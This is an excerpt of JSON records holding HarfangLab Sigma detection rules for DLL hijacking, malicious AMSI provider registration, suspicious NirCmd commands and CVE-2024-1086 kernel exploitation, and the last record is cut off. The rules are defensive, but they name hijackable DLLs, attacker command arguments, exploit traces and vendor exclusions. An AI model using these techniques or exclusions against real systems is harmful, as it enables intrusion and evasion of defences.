+  "content": "title: DLL Hijacking via CloudNotifications.exe\nid: ad743e1e-6f61-4a51-9e3f-7568d116265e\ndescription: |\n    Detects potential Windows DLL Hijacking via CloudNotifications.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'CloudNotifications.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\uianimation.dll'\n            - '\\uxtheme.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ad743e1e-6f61-4a51-9e3f-7568d116265e",
+  "rule_name": "DLL Hijacking via CloudNotifications.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via CloudNotifications.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ad7629c3-3ff9-463b-9a5d-e23eedac07fc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097409Z",
+  "creation_date": "2026-03-23T11:45:34.097411Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097415Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows/win32/amsi/dev-audience",
+    "https://b4rtik.github.io/posts/antimalware-scan-interface-provider-for-persistence/",
+    "https://persistence-info.github.io/Data/amsi.html",
+    "https://github.com/netbiosX/AMSI-Provider",
+    "https://attack.mitre.org/techniques/T1112/",
+    "https://attack.mitre.org/techniques/T1562/001/",
+    "https://attack.mitre.org/techniques/T1546/"
+  ],
+  "name": "t1112_amsi_persistence.yml",
+  "content": "title: AMSI Provider Added in Registry\nid: ad7629c3-3ff9-463b-9a5d-e23eedac07fc\ndescription: |\n    Detects the registration of an Antimalware Scan Interface (AMSI) provider in the registry.\n    AMSI is a Windows defense mechanism designed to combat fileless malwares.\n    Adversaries can register a malicious AMSI provider to run malicious code whenever the AMSI is triggered to achieve persistence and defense evasion.\n    AMSI provider registrations must come from security products such as anti-virus or EDR.\n    The AMSI DLL path can be find in registry location HKCR\\CLSID\\<CLSID>\\InProcServer32\\(Default).\n    It is recommended to ensure the legitimacy of this action by analyzing the DLL pointed to by the registered CLSID in registry or by investigating the process responsible for the registry modification.\nreferences:\n    - https://learn.microsoft.com/en-us/windows/win32/amsi/dev-audience\n    - https://b4rtik.github.io/posts/antimalware-scan-interface-provider-for-persistence/\n    - https://persistence-info.github.io/Data/amsi.html\n    - https://github.com/netbiosX/AMSI-Provider\n    - https://attack.mitre.org/techniques/T1112/\n    - https://attack.mitre.org/techniques/T1562/001/\n    - https://attack.mitre.org/techniques/T1546/\ndate: 2022/11/14\nmodified: 2025/11/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.persistence\n    - attack.t1112\n    - attack.t1546\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ImpairDefenses\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{????????-????-????-????-????????????}\\(Default)'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    exclusion_programfiles:\n        - ProcessParentImage|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n        - ProcessImage|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n        - ProcessCommandLine|contains:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n\n    exclusion_defender:\n        ProcessImage|endswith: '\\MsMpEng.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    exclusion_defender_unsigned:\n        ProcessImage: '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{2781761E-28E0-4109-99FE-B9D127C57AFE}'\n\n    exclusion_cyberreason:\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Cybereason Inc.'\n            - 'Cybereason, Inc'\n            - 'Cybereason, Inc.'\n\n    exclusion_sentinelone:\n        ProcessSigned: 'true'\n        ProcessSignature: 'SentinelOne, Inc.'\n\n    exclusion_bitdefender:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Bitdefender SRL'\n\n    exclusion_panda:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Panda Security S.L.'\n\n    exclusion_eset:\n        - ProcessSigned: 'true'\n          ProcessSignature: 'ESET, spol. s r.o.'\n        - ProcessParentImage|endswith: '\\ekrn.exe'\n          ProcessParentSigned: 'true'\n          ProcessParentSignature: 'ESET, spol. s r.o.'\n        - ProcessCommandLine|contains: '?:\\Program Files\\ESET\\ESET Security\\'\n\n    exclusion_malwarebyte:\n        - ProcessSigned: 'true'\n          ProcessSignature:\n            - 'Malwarebytes Inc.'\n            - 'Malwarebytes Inc'\n        - ProcessParentImage:\n            - '?:\\Program Files\\Malwarebytes Endpoint Agent\\MBCloudEA.exe'\n            - '?:\\Program Files\\Malwarebytes Endpoint Agent\\EAPluginHost.exe'\n\n    exclusion_trendmicro:\n        ProcessParentImage|startswith:\n            - '?:\\Program Files\\Trend Micro\\'\n            - '?:\\Program Files (x86)\\Trend Micro\\'\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{6138A34F-DCA4-48D0-95CC-51E1D8F30B58}'\n            - 'HKLM\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{2856EFBF-914D-4EC1-8E69-1259D5823EC1}'\n\n    exclusion_fsecure:\n        ProcessCommandLine: 'regsvr32.exe /s ?:\\Program Files (x86)\\F-Secure\\\\*\\fsamsi64.dll'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{567C4BA7-5B5D-4947-92E8-4691CC4C77DD}'\n\n    exclusion_mcafee:\n        - ProcessSigned: 'true'\n          ProcessSignature:\n            - 'Musarubra US LLC'\n            - 'McAfee, Inc.'\n        - ProcessParentImage: '?:\\Program Files\\McAfee\\\\*\\mc-fw-host.exe'\n          TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{08B5D5DE-93CC-4B76-BB44-4C3A00F1E629}'\n        - ProcessCommandLine: '?:\\WINDOWS\\system32\\msiexec.exe /V'\n          TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{436D0575-3FCC-49C2-9E9C-5772A341E1D5}'\n        - ProcessGrandparentImage:\n            - '?:\\Program Files (x86)\\Common Files\\McAfee\\Installer\\McInst.exe'\n            - '?:\\Program Files (x86)\\Common Files\\McAfee\\Installer\\\\*\\McInst.exe'\n\n    exclusion_avg:\n        ProcessSigned: 'true'\n        ProcessSignature: 'AVG Technologies USA, LLC'\n\n    exclusion_crowdstrike:\n        ProcessImage: '?:\\Program Files\\CrowdStrike\\CSFalconService.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Hardware Compatibility Publisher'\n\n    exclusion_vmware:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Broadcom Inc'\n\n    exclusion_kaspersky:\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Kaspersky Lab'\n            - 'Kaspersky Lab JSC'\n\n    exclusion_avast:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Avast Software s.r.o.'\n\n    exclusion_sophos:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Sophos Ltd'\n\n    exclusion_checkpoint:\n        ProcessGrandparentImage:\n            - '?:\\Program Files (x86)\\CheckPoint\\Endpoint Security\\EFR\\EFRService.exe'\n            - '?:\\Program Files\\CheckPoint\\Endpoint Security\\EFR\\EFRService.exe'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{00FACAAE-5213-42C7-9B65-123AE71013A9}'\n\n    exclusion_fortinet:\n        ProcessCommandLine: '?:\\Windows\\System32\\regsvr32.exe /s ?:\\Program Files\\Fortinet\\FortiClient\\FortiAmsi.dll'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{2E5D8A62-77F9-4F7B-A90C-2744820139B2}'\n\n    exclusion_symantec:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Symantec Corporation'\n\n    exclusion_webroot:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Webroot Inc.'\n\n    exclusion_cylance:\n        ProcessParentImage: '?:\\Program Files\\Cylance\\Desktop\\CylanceSvc.exe'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{053AEAAE-5F1A-4A07-9A75-175AD71D53F8}'\n\n    exclusion_gdata:\n        ProcessParentImage: '?:\\ProgramData\\G Data\\Setups\\tmp\\setup.exe'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{575001B9-9064-4049-B30E-D83C678E5E2A}'\n\n    exclusion_norton:\n        ProcessImage: '?:\\Program Files\\Norton\\Suite\\RegSvr.exe'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{DC650FC4-FFD8-4C05-B3A5-F7A94D5629CC}'\n\n    exclusion_avkproxy:\n        ProcessParentImage: '?:\\Program Files (x86)\\G Data\\Setup\\Client\\SetupSVC.exe'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{575001B9-9064-4049-B30E-D83C678E5E2A}'\n\n    exclusion_avira:\n        ProcessImage: '?:\\Program Files\\Avira\\Endpoint Protection SDK\\endpointprotection.exe'\n\n    exclusion_fidelis:\n        ProcessParentImage: '?:\\Program Files\\Fidelis\\Endpoint\\Platform\\services\\protect\\protect.exe'\n\n    exclusion_cisco:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Cisco Systems, Inc.'\n\n    exclusion_tmasmi:\n        ProcessCommandLine: '?:\\Windows\\system32\\regsvr32.exe /s ?:\\Windows\\system32\\TmAMSI\\TmAMSIProvider64.dll'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ad7629c3-3ff9-463b-9a5d-e23eedac07fc",
+  "rule_name": "AMSI Provider Added in Registry",
+  "rule_description": "Detects the registration of an Antimalware Scan Interface (AMSI) provider in the registry.\nAMSI is a Windows defense mechanism designed to combat fileless malwares.\nAdversaries can register a malicious AMSI provider to run malicious code whenever the AMSI is triggered to achieve persistence and defense evasion.\nAMSI provider registrations must come from security products such as anti-virus or EDR.\nThe AMSI DLL path can be find in registry location HKCR\\CLSID\\<CLSID>\\InProcServer32\\(Default).\nIt is recommended to ensure the legitimacy of this action by analyzing the DLL pointed to by the registered CLSID in registry or by investigating the process responsible for the registry modification.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-11-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1546",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ad9a4851-d601-4528-a0d2-a3d77b050741",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295767Z",
+  "creation_date": "2026-03-23T11:45:35.295770Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295777Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/1ZRR4H/status/1575364101148114944",
+    "https://cert.pl/uploads/docs/CERT_Polska_Energy_Sector_Incident_Report_2025.pdf",
+    "https://www.nirsoft.net/utils/nircmd.html",
+    "https://attack.mitre.org/techniques/T1059/"
+  ],
+  "name": "t1059_suspicious_execution_of_nircmd.yml",
+  "content": "title: Suspicious NirCmd Execution\nid: ad9a4851-d601-4528-a0d2-a3d77b050741\ndescription: |\n    Detects a suspicious execution of the NirCmd.\n    NirCmd is a command-line utility allowing users to perform useful tasks, such as updating registry keys, executing commands, updating network configuration, editing files, etc.\n    It can also be used by attackers to execute commands while evading defenses.\n    This rule detects the usage of suspicious arguments, usually used by attackers.\n    It is recommended to investigate the actions that were performed by NirCmd as well as NirCmd's execution context to determine its legitimacy.\nreferences:\n    - https://twitter.com/1ZRR4H/status/1575364101148114944\n    - https://cert.pl/uploads/docs/CERT_Polska_Energy_Sector_Incident_Report_2025.pdf\n    - https://www.nirsoft.net/utils/nircmd.html\n    - https://attack.mitre.org/techniques/T1059/\ndate: 2022/11/03\nmodified: 2026/02/16\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.NirCmd\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_binary:\n        - OriginalFileName: 'nircmd.exe'\n        - Image|endswith: '\\nircmd.exe'\n\n    selection_path:\n        - Image:\n            - '?:\\nircmd.exe'\n            # AtomicRedTeam\n            - '*\\ExternalPayloads\\nircmd.exe'\n        - Image|startswith:\n            - '?:\\windows\\'\n            - '?:\\ProgramData\\'\n            - '?:\\PerfLogs\\'\n            - '?:\\temp\\'\n            - '?:\\users\\'\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n            - '?:\\\\?Recycle.Bin\\'\n\n    selection_suspicious_commandline:\n        CommandLine|contains:\n            - ' elevatecmd '\n            - ' execmd '\n            - ' exec '\n            - ' exec2 '\n            - ' runassystem '\n            - ' service '\n            - ' savescreenshot '\n            - ' savescreenshotfull '\n\n    exclusion_mpladmin:\n        ParentImage|endswith: '\\MPLAdmin.exe'\n\n    # C:\\Program Files\\QGIS 2.18\\bin\\nircmd.exe exec hide C:\\PROGRA~1\\QGIS2~1.18\\bin\\qgis.bat\n    # nircmd shortcut C:\\PROGRA~1\\QGIS3~1.16\\bin\\nircmd.exe C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\QGIS 3.16 Qt Designer with QGIS 3.16.4 custom widgets exec hide \"C:\\PROGRA~1\\QGIS3~1.16\\bin\\qgis-ltr-designer.bat\" C:\\PROGRA~1\\QGIS3~1.16\\apps\\qgis-ltr\\icons\\QGIS.ico ~$folder.mydocuments$\n    exclusion_qgis:\n        - CommandLine:\n            - '?:\\Program Files\\QGIS*\\bin\\nircmd.exe exec hide ?:\\\\*\\\\*.bat'\n            - '?:\\Program Files\\QGIS*\\bin\\nircmd.exe exec hide ?:\\\\*\\\\*.bat *'\n            - '?:\\Program Files (x86)\\QGIS*\\bin\\nircmd.exe exec hide ?:\\\\*\\\\*.bat'\n            - '*\\QGIS\\bin\\nircmd.exe exec hide *\\QGIS\\bin\\qgis.bat'\n            - '*\\Qgis*\\bin\\nircmd.exe exec hide *\\Qgis*\\bin\\\\*.bat'\n            - 'nircmd shortcut ?:\\\\*\\nircmd.exe * exec hide *?:\\\\*\\bin\\\\*.bat* *'\n            - 'nircmd shortcut *\\Qgis*\\bin\\nircmd.exe * exec hide *\\Qgis*\\bin\\\\*.bat *'\n        - ParentCommandLine: '?:\\windows\\system32\\cmd.exe /c etc\\postinstall\\qgis*.bat'\n\n    exclusion_santesocial:\n        - Image: '?:\\ProgramData\\santesocial\\galss\\inf\\nircmd.exe'\n        - CommandLine: '?:\\Program Files (x86)\\santesocial\\srvsvcnam\\nircmd.exe exec hide *.bat'\n          ParentCommandLine: '?:\\WINDOWS\\system32\\msiexec.exe /V'\n\n    exclusion_token2:\n        Image|endswith: '\\scrn.dll'\n        ProcessParentProduct: 'USB Config Tool'\n        ProcessParentCompany: 'TOKEN2'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ad9a4851-d601-4528-a0d2-a3d77b050741",
+  "rule_name": "Suspicious NirCmd Execution",
+  "rule_description": "Detects a suspicious execution of the NirCmd.\nNirCmd is a command-line utility allowing users to perform useful tasks, such as updating registry keys, executing commands, updating network configuration, editing files, etc.\nIt can also be used by attackers to execute commands while evading defenses.\nThis rule detects the usage of suspicious arguments, usually used by attackers.\nIt is recommended to investigate the actions that were performed by NirCmd as well as NirCmd's execution context to determine its legitimacy.\n",
+  "rule_creation_date": "2022-11-03",
+  "rule_modified_date": "2026-02-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059",
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ada4546b-ac75-4f2a-bef1-78bc2ae66763",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613840Z",
+  "creation_date": "2026-03-23T11:45:34.613844Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613851Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://pwning.tech/nftables/",
+    "https://github.com/Notselwyn/CVE-2024-1086",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "t1068_cve_2024_1086_exploitation.yml",
+  "content": "title: Netfilter CVE-2024-1086 Vulnerability Exploited\nid: ada4546b-ac75-4f2a-bef1-78bc2ae66763\ndescription: |\n    Detects the exploitation of CVE-2024-1086 related to a vulnerability in the Linux kernel's netfilter, affecting Linux kernels between v5.14 and v6.6.\n    This vulnerability abuses a use-after-free in the nf_tables subsystem that can be exploited to achieve local privilege escalation.\n    It is recommended to investigate both the command launched by this shell and all the processes executed before this alert.\nreferences:\n    - https://pwning.tech/nftables/\n    - https://github.com/Notselwyn/CVE-2024-1086\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2024/03/28\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - cve.2024-1086\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Exploit.CVE-2024-1086\n    - classification.Linux.Exploit.Netfilter\n    - classification.Linux.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        ParentCommandLine|endswith: ' /proc/*/fd/* -q -- binfmt-????'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ada4546b-ac75-4f2a-bef1-78bc2ae66763",
+  "rule_name": "Netfilter CVE-2024-1086 Vulnerability Exploited",
+  "rule_description": "Detects the exploitation of CVE-2024-1086 related to a vulnerability in the Linux kernel's netfilter, affecting Linux kernels between v5.14 and v6.6.\nThis vulnerability abuses a use-after-free in the nf_tables subsystem that can be exploited to achieve local privilege escalation.\nIt is recommended to investigate both the command launched by this shell and all the processes executed before this alert.\n",
+  "rule_creation_date": "2024-03-28",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ae0999e2-bd3b-4165-acbc-157ab979e14f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081131Z",
+  "creation_date": "2026-03-23T11:45:34.081133Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081137Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_microsoft_uev_synccontroller.yml",
+  "content": "title: DLL Hijacking via Microsoft.Uev.SyncController.exe\nid: ae0999e2-bd3b-4165-acbc-157ab979e14f\ndescription: |\n    Detects potential Windows DLL Hijacking via Microsoft.Uev.SyncController.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'Microsoft.Uev.SyncController.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\npmproxy.dll'\n            - '\\rsaenh.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files (x86)\\Mozilla Firefox\\'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files\\Mozilla Firefox\\'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Zoom\\bin\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ae0999e2-bd3b-4165-acbc-157ab979e14f",
+  "rule_name": "DLL Hijacking via Microsoft.Uev.SyncController.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via Microsoft.Uev.SyncController.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ae29f29b-fc65-464d-a199-837b6e64b76d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
